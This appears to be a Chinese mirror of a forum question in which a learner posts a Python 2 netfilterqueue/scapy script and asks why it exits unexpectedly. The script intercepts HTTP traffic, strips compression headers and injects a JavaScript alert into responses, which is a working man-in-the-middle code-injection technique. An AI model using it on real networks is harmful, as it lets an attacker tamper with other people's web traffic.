首页 > 解决方案 > Python脚本无故退出

问题描述

我正在学习基本的 python 网络课程。
这是我的代码,应该在标记之前的每个 http 响应中将 javascript 警报函数注入到未加密的 html 中</body>

#!/usr/bin/env python


import netfilterqueue
import scapy.all as scapy
import re
import subprocess


def enable_queuing(enable):
    if enable:
        subprocess.call("iptables --insert INPUT --jump NFQUEUE --queue-num 0", shell=True)
        subprocess.call("iptables --insert OUTPUT --jump NFQUEUE --queue-num 0", shell=True)
    else:
        subprocess.call("iptables --flush", shell=True)


def set_load(packet, load):
    packet[scapy.Raw].load = load

    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum

    return packet


def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.Raw):
        if scapy_packet.haslayer(scapy.TCP):
            if scapy_packet[scapy.TCP].dport == 80:  # if http request

                # requesting plain-text html from host
                modified_load = re.sub("Accept-Encoding:.*?\\r\\n", "", scapy_packet[scapy.Raw].load)
                decoded_packet = set_load(scapy_packet, modified_load)
                packet.set_payload(str(decoded_packet))

            elif scapy_packet[scapy.TCP].sport == 80:  # if http response
                # injection
                modified_load = scapy_packet[scapy.Raw].load.replace("</body>", "<script>alert('hello');</script></body>")
                new_packet = set_load(scapy_packet, modified_load)
                packet.set_payload(str(new_packet))

    packet.accept()
    # !execution stops here for no reason!


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
try:
    enable_queuing(True)
    queue.run()
except KeyboardInterrupt:
    print("\nCleaning up...")
    enable_queuing(False)
    print("Ok")
    print("Quitting.")

我检查了输出,new_packetjsalert()就在那里。
我的问题是,packet.accept()脚本通常只是退出。我正在使用 python2 从终端运行它,它就像我按下 CTRL+C 一样停止。这并不总是发生,我一直试图了解是什么导致了它几个小时,但无法弄清楚。

另外,即使脚本没有退出,如果我把它放在前面,js 仍然不会被执行</body>。但是,如果我像以前一样将它放在头部</head>,它确实如此,但是随机退出也仍在发生。

我不知道是什么原因造成的。

标签: pythonhtmlnetworkingcode-injectionnetfilter

解决方案


推荐阅读